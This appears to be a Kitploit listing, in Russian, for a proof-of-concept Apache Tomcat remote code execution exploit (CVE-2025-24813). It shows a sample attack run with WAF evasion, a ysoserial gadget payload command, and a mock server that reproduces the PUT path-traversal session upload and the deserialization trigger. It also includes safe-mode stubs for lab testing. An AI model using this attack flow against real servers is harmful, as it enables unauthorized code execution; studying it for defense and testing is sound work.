POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution — Этот репозиторий содержит автоматизированный эксплойт, разработанный в образовательных и исследовательских целях в области кибербезопасности, предназначенный для демонстрации потенциальной уязвимости удаленного выполнения кода (RCE) в Apache Tomcat (CVE-2025-24813). | Kitploit

⚠️🚀 CVE-2025-24813 — Apache Tomcat RCE Exploitation Suite

⚡ Версия: 1.0 🛡️ ID CVE: CVE-2025-24813 (Apache Tomcat RCE) 🧬 Полезные нагрузки: ysoserial / Java 🌐 Режим: Интерактивный + Скрытный 🔬 Использование: Этическое, исследовательское, образовательное

🌌 Обзор

🔗 [?] Введите URL цели: https://victima.org
💣 [?] Команда для выполнения: whoami
🧬 [?] Тип полезной нагрузки: ysoserial
📂 [?] Путь к ysoserial.jar: ysoserial.jar
🔧 [?] Гаджет: CommonsCollections6
🔐 [?] Проверять SSL? (да/нет): нет

🚀 Выполнение...
🧬 Обнаружен WAF... меняем стратегию
⚙️ Загрузка полезной нагрузки...
💥 Подтверждение удаленного выполнения
✅ Результат: 'apache'

┌──────────────────────────────┐
│  Интерактивный режим          │
├──────────────────────────────┤
│  Валидация URL                │
│  Обнаружение сессии           │
│  Обнаружение WAF              │
│  Генерация полезной нагрузки  │
│  Обходная загрузка через PUT  │
│  Проверка выполнения          │
└──────────────────────────────┘
        ↘ ЛОГИ ПО ЦЕЛИ

POC-Exploit_CVE_2025_24813.py   # Основной скрипт
ysoserial.jar               # Требуется, если используете 'ysoserial'
logs/                       # Папка с отдельными логами по каждой цели
payload.ser                 # Временно сгенерированная полезная нагрузка
Exploit.java / .class       # Временные файлы для Java

Java JDK (не только JRE, потому что код компилируется). Проверьте с помощью:
```
java -version
javac -version
```
Если обе команды работают, вы готовы.

Скачайте .jar отсюда 👉 https://github.com/frohoff/ysoserial
Сохраните его в той же директории, что и скрипт, или укажите полный путь, когда вас спросят. Пример:
```
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
```

Установить Python 3.8+
Установить библиотеки:
```
pip install requests colorama etc
```
Установить Java JDK 8+
```
java -version
javac -version
```
Скачать ysoserial.jar в папку со скриптом.

python3 -m venv .venv
source .venv/bin/activate   # Linux / macOS
.\.venv\Scripts\activate  # Windows (PowerShell/Command Prompt)

pip install -U pip
pip install requests colorama flask

# mock_server.py — безопасный тестовый сервер
from flask import Flask, request, make_response, jsonify

app = Flask(__name__)
uploads = {}

@app.route('/index.jsp', methods=['GET'])
def index():
    # Имитирует страницу, которая может вернуть cookie JSESSIONID или текст с "Session ID"
    resp = make_response('Index page — Session ID: testsession')
    resp.set_cookie('JSESSIONID', 'testsession')
    return resp

@app.route('/check.txt', methods=['PUT'])
def check_put():
    # Имитирует ресурс, доступный для записи
    return ('OK', 200)

@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
    # Имитирует, что загрузка была принята, но возвращает 409 (поведение, которое ожидает скрипт)
    uploads[session_id] = True
    return ('Conflict - uploaded', 409)

@app.route('/', methods=['GET'])
def root():
    # Если cookie совпадает и сессия была "загружена", возвращаем 500, имитируя сбой из-за десериализации
    session = request.cookies.get('JSESSIONID')
    if session and uploads.get(session):
        return ('Internal Server Error', 500)
    return ('Hello from mock server', 200)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000, debug=True)

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST активен — создаем фиктивную полезную нагрузку (неисполняемую)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_PAYLOAD")
        return payload_file
    # --- оригинальное поведение только если SAFE_TEST == False ---


def generate_java_payload(command, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST активен — создаем фиктивную java полезную нагрузку (неисполняемую)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_JAVA_PAYLOAD")
        return payload_file
    # --- оригинальное поведение только если SAFE_TEST == False ---

Запустите виртуальное окружение и убедитесь, что зависимости установлены (см. раздел Требования).
Запустите mock_server.py:
```
python mock_server.py
```
Создайте фиктивную полезную нагрузку, если вы не используете SAFE_TEST или он не создает ее за вас:
```
echo "DUMMY_PAYLOAD" > payload.ser
```
Активируйте безопасный режим в терминале:
```
export SAFE_TEST=1   # Linux/macOS
# или в PowerShell: $env:SAFE_TEST = "1"
```
Запустите основной скрипт:
```
python3 ваш_скрипт.py
```
Ответьте на запросы (вы будете использовать лабораторные значения):
- Enter target URL: http://127.0.0.1:8000
- Enter command to execute: оставьте по умолчанию (не будет выполнена в SAFE_TEST)
- Payload type: ysoserial (скрипт, с SAFE_TEST=1, создаст фиктивную полезную нагрузку вместо вызова внешних инструментов)
- Path to ysoserial.jar: (можно оставить ysoserial.jar — не будет использоваться в безопасном режиме)
- Verify SSL? no (ваш mock использует HTTP)
Наблюдайте вывод в консоли: вы должны увидеть сообщения Server is writable via PUT, Payload uploaded with status 409 и Exploit succeeded! Server returned 500 after deserialization. — это только на mock и означает, что логический поток скрипта работает.
Проверьте логи в logs/ — скрипт сохраняет записи с метками времени. Например, logs/127_0_0_1_8000.log (в зависимости от санитизированного имени цели).

# test_script.py
import requests
import requests_mock
from ваш_скрипт import validate_url, retry_request

def test_validate_url():
    assert validate_url('http://127.0.0.1:8000')
    assert not validate_url('notaurl')

def test_retry_request_success():
    # используйте requests_mock для имитации GET и проверки retry_request
    pass

POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution

Популярное

🧠 Что делает этот скрипт?

🛸 Основные функции

⚙️ Требования

🧪 Режим использования

🎯 Визуальный пример:

🌈 Визуальная архитектура скрипта

🧬 Типы полезных нагрузок

Распространенные гаджеты:

📁 Структура проекта

👨‍⚖️ Ответственное и этическое использование

⚖️ Отказ от ответственности

🧠 Авторы

🛰️ Ссылка на CVE

📜 Лицензия

💎 Визуальное вдохновение

🔧 Необходимые зависимости

1. Python

2. Java

3. Ysoserial

4. Операционная система

⚙️ Краткое описание установки

🛡️ README — Безопасный пошаговый учебник

⚠️ Правовое и этическое предупреждение (ПРОЧИТАТЬ ПЕРЕД НАЧАЛОМ)

🔍 Что содержит этот учебник

🧾 Требования

🧪 1) Тестовый сервер (mock) — безопасный код

📁 2) Подготовка фиктивной (безвредной) полезной нагрузки

⚙️ 3) Добавление безопасного режима (SAFE_TEST) в исходный скрипт

▶️ 4) Пошаговый запуск (безопасный режим)

🔎 5) Что проверять в тестах

🧪 6) Модульные тесты (рекомендация)

❌ Что НЕ делать